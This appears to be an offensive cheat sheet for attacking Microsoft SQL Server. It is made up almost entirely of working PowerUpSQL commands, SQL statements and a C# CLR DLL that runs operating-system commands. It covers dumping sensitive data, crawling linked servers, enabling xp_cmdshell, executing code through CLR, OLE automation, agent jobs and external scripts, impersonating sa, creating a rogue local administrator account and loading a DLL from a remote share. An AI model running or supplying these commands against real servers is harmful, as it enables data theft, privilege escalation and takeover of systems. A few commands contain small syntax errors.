## Identify Instances and Databases

### Discover Local SQL Server Instances

```ps1
Get-SQLInstanceLocal
```

### Discover Domain SQL Server Instances

```ps1
Get-SQLInstanceDomain -Verbose
# Get Server Info for Found Instances
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
# Get Database Names
Get-SQLInstanceDomain | Get-SQLDatabase -NoDefaults
```

### Discover Remote SQL Server Instances

```ps1
Get-SQLInstanceBroadcast -Verbose
Get-SQLInstanceScanUDPThreaded -Verbose -ComputerName SQLServer1
```

### Identify Encrypted databases 
Note: These are automatically decrypted for admins


```ps1
Get-SQLDatabase -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Verbose | Where-Object {$_.is_encrypted -eq "True"}
```

### Version Query

```ps1
Get-SQLInstanceDomain | Get-Query "select @@version"
```

## Identify Sensitive Information

### Get Tables from a Specific Database

```ps1
Get-SQLInstanceDomain | Get-SQLTable -DatabaseName <DBNameFromGet-SQLDatabaseCommand> -NoDefaults
Get Column Details from a Table
Get-SQLInstanceDomain | Get-SQLColumn -DatabaseName <DBName> -TableName <TableName>
```


### Gather 5 Entries from Each Column


```ps1
Get-SQLInstanceDomain | Get-SQLColumnSampleData -Keywords "<columnname1,columnname2,columnname3,columnname4,columnname5>" -Verbose -SampleSize 5
```

### Gather 5 Entries from a Specific Table


```ps1
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query 'select TOP 5 * from <DatabaseName>.dbo.<TableName>'
```


### Dump common information from server to files

```ps1
Invoke-SQLDumpInfo -Verbose -Instance SQLSERVER1\Instance1 -csv
```

## Linked Database

### Crawl Links for Instances in the Domain 
A Valid Link Will Be Identified by the DatabaseLinkName Field in the Results


```ps1
Get-SQLInstanceDomain | Get-SQLServerLink -Verbose
```

### Crawl Links for a Specific Instance

```ps1
Get-SQLServerLinkCrawl -Instance "<DBSERVERNAME\DBInstance>" -Verbose
```

### Query Version of Linked Database


```ps1
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DBSERVERNAME\DBInstance>`",'select @@version')" -Verbose
```

### Execute Procedure on Linked Database

```ps1
SQL> EXECUTE('EXEC sp_configure ''show advanced options'',1') at "linked.database.local";
SQL> EXECUTE('RECONFIGURE') at "linked.database.local";
SQL> EXECUTE('EXEC sp_configure ''xp_cmdshell'',1;') at "linked.database.local";
SQL> EXECUTE('RECONFIGURE') at "linked.database.local";
SQL> EXECUTE('exec xp_cmdshell whoami') at "linked.database.local";
```

### Determine Names of Linked Databases 

> tempdb, model ,and msdb are default databases usually not worth looking into. Master is also default but may have something and anything else is custom and definitely worth digging into. The result is DatabaseName which feeds into following query.

```ps1
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select name from sys.databases')" -Verbose
```

### Determine All the Tables Names from a Selected Linked Database

> The result is TableName which feeds into following query


```ps1
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select name from <DatabaseNameFromPreviousCommand>.sys.tables')" -Verbose
```

### Gather the Top 5 Columns from a Selected Linked Table

> The results are ColumnName and ColumnValue which feed into following query


```ps1
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select TOP 5 * from <DatabaseNameFromPreviousCommand>.dbo.<TableNameFromPreviousCommand>')" -Verbose
```

### Gather Entries from a Selected Linked Column


```ps1
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`"'select * from <DatabaseNameFromPreviousCommand>.dbo.<TableNameFromPreviousCommand> where <ColumnNameFromPreviousCommand>=<ColumnValueFromPreviousCommand>')" -Verbose
```


### Command Execution via xp_cmdshell

> xp_cmdshell disabled by default since SQL Server 2005

```ps1
Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command whoami
Creates and adds local user backup to the local administrators group:
Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "net user backup Password1234 /add' -Verbose
Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "net localgroup administrators backup /add" -Verbose
```

## Extended Stored Procedure

### Add the extended stored procedure and list extended stored procedures

```ps1
Create-SQLFileXpDll -OutFile C:\temp\test.dll -Command "echo test > c:\temp\test.txt" -ExportName xp_test
Get-SQLQuery -UserName sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Query "sp_addextendedproc 'xp_test', '\\10.10.0.1\temp\test.dll'"
Get-SQLQuery -UserName sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Query "EXEC xp_test"
Get-SQLStoredProcedureXP -Instance "<DBSERVERNAME\DBInstance>" -Verbose
```

## CLR Assemblies

Prerequisites:
* sysadmin privileges
* CREATE ASSEMBLY permission (or)
* ALTER ASSEMBLY permission (or)

### Execute commands using CLR assembly

```ps1
Invoke-SQLOSCmdCLR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "whoami" Verbose
or
Invoke-SQLOSCmdCLR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64>" -Verbose
```

### Manually creating a CLR DLL and importing it

Create a C# DLL file with the following content, with the command : `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library c:\temp\cmd_exec.cs`

```csharp
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;

public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void cmd_exec (SqlString execCommand)
    {
        Process proc = new Process();
        proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
        proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.Start();

        // Create the record and specify the metadata for the columns.
        SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
        
        // Mark the beginning of the result set.
        SqlContext.Pipe.SendResultsStart(record);

        // Set values for each column in the row
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());

        // Send the row back to the client.
        SqlContext.Pipe.SendResultsRow(record);
        
        // Mark the end of the result set.
        SqlContext.Pipe.SendResultsEnd();
        
        proc.WaitForExit();
        proc.Close();
    }
};
```

Then follow these instructions:

1. Enable `show advanced options` on the server
	```sql
	sp_configure 'show advanced options',1; 
	RECONFIGURE
	GO
	```
2. Enable CLR on the server
	```sql
	sp_configure 'clr enabled',1
	RECONFIGURE
	GO
	```
3. Import the assembly
	```sql
	CREATE ASSEMBLY my_assembly
	FROM 'c:\temp\cmd_exec.dll'
	WITH PERMISSION_SET = UNSAFE;
	```
4. Link the assembly to a stored procedure
	```sql
	CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];
	GO
	```
5. Execute and clean
	```sql
	cmd_exec "whoami"
	DROP PROCEDURE cmd_exec
	DROP ASSEMBLY my_assembly
	```

**CREATE ASSEMBLY** will also accept an hexadecimal string representation of a CLR DLL

```sql
CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM 
0x4D5A90000300000004000000F[TRUNCATED]
WITH PERMISSION_SET = UNSAFE 
GO 
```

## OLE Automation

### Execute commands using OLE automation procedures

```ps1
Invoke-SQLOSCmdOle -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "whoami" Verbose
```

```ps1
# Enable OLE Automation
EXEC sp_configure 'show advanced options', 1
EXEC sp_configure reconfigure
EXEC sp_configure 'OLE Automation Procedures', 1
EXEC sp_configure reconfigure

# Execute commands
DECLARE @execmd INT
EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT
EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe /c'
```


```powershell
# https://github.com/blackarrowsec/mssqlproxy/blob/master/mssqlclient.py
python3 mssqlclient.py 'host/username:password@10.10.10.10' -install -clr Microsoft.SqlServer.Proxy.dll
python3 mssqlclient.py 'host/username:password@10.10.10.10' -check -reciclador 'C:\windows\temp\reciclador.dll'
python3 mssqlclient.py 'host/username:password@10.10.10.10' -start -reciclador 'C:\windows\temp\reciclador.dll'
SQL> enable_ole
SQL> upload reciclador.dll C:\windows\temp\reciclador.dll
```


## Agent Jobs

### Execute commands through SQL Agent Job service

```ps1
Invoke-SQLOSCmdAgentJob -Subsystem PowerShell -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell e <base64encodedscript>" -Verbose
Subsystem Options:
–Subsystem CmdExec
-SubSystem PowerShell
–Subsystem VBScript
–Subsystem Jscript
```

### List All Jobs

```ps1
Get-SQLAgentJob -Instance "<DBSERVERNAME\DBInstance>" -username sa -Password Password1234 -Verbose
```

## External Scripts

:warning: You need to enable **external scripts**.

```sql
sp_configure 'external scripts enabled', 1;
RECONFIGURE;
```

## Python:

```ps1
Invoke-SQLOSCmdPython -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64encodedscript>" -Verbose
```

## R

```ps1
Invoke-SQLOSCmdR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64encodedscript>" -Verbose
```

## Audit Checks


### Find and exploit impersonation opportunities 

* Impersonate as: `EXECUTE AS LOGIN = 'sa'`
* Impersonate `dbo` with DB_OWNER
	```sql
	SQL> select is_member('db_owner');
	SQL> execute as user = 'dbo'
	SQL> SELECT is_srvrolemember('sysadmin')
	```

```ps1
Invoke-SQLAuditPrivImpersonateLogin -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Exploit -Verbose

# impersonate sa account
powerpick Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "EXECUTE AS LOGIN = 'sa'; SELECT IS_SRVROLEMEMBER(''sysadmin'')" -Verbose -Debug
```

## Find databases that have been configured as trustworthy

```ps1
Invoke-SQLAuditPrivTrustworthy -Instance "<DBSERVERNAME\DBInstance>" -Exploit -Verbose 
```

> The following audit checks run web requests to load Inveigh via reflection. Be mindful of the environment and ability to connect outbound.

```ps1
Invoke-SQLAuditPrivXpDirtree
Invoke-SQLUncPathInjection
Invoke-SQLAuditPrivXpFileexist
```

## Manual SQL Server Queries

### Query Current User & determine if the user is a sysadmin

```sql
select suser_sname()
Select system_user
select is_srvrolemember('sysadmin')
```

### Current Role

```sql
Select user
```

### Current DB

```sql
select db_name()
```

### List all tables

```sql
select table_name from information_schema.tables
```

### List all databases

```sql
select name from master..sysdatabases
```

### All Logins on Server 

```sql
Select * from sys.server_principals where type_desc != 'SERVER_ROLE'
```

### All Database Users for a Database 

```sql
Select * from sys.database_principals where type_desc != 'database_role';
```

### List All Sysadmins

```sql
SELECT name,type_desc,is_disabled FROM sys.server_principals WHERE IS_SRVROLEMEMBER ('sysadmin',name) = 1
```

### List All Database Roles

```sql
SELECT DB1.name AS DatabaseRoleName,
isnull (DB2.name, 'No members') AS DatabaseUserName
FROM sys.database_role_members AS DRM
RIGHT OUTER JOIN sys.database_principals AS DB1
ON DRM.role_principal_id = DB1.principal_id
LEFT OUTER JOIN sys.database_principals AS DB2
ON DRM.member_principal_id = DB2.principal_id
WHERE DB1.type = 'R'
ORDER BY DB1.name;
```

### Effective Permissions from the Server

```sql
select * from fn_my_permissions(null, 'server');
```

### Effective Permissions from the Database

```sql
SELECT * FROM fn_dp1my_permissions(NULL, 'DATABASE');
```

### Find SQL Server Logins Which can be Impersonated for the Current Database

```sql
select distinct b.name
from sys.server_permissions a
inner join sys.server_principals b
on a.grantor_principal_id = b.principal_id
where a.permission_name = 'impersonate'
```

### Exploiting Impersonation

```sql
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
EXECUTE AS LOGIN = 'adminuser'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
SELECT ORIGINAL_LOGIN()
```

### Exploiting Nested Impersonation

```sql
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
EXECUTE AS LOGIN = 'stduser'
SELECT SYSTEM_USER
EXECUTE AS LOGIN = 'sa'
SELECT IS_SRVROLEMEMBER('sysadmin')
SELECT ORIGINAL_LOGIN()
SELECT SYSTEM_USER
```
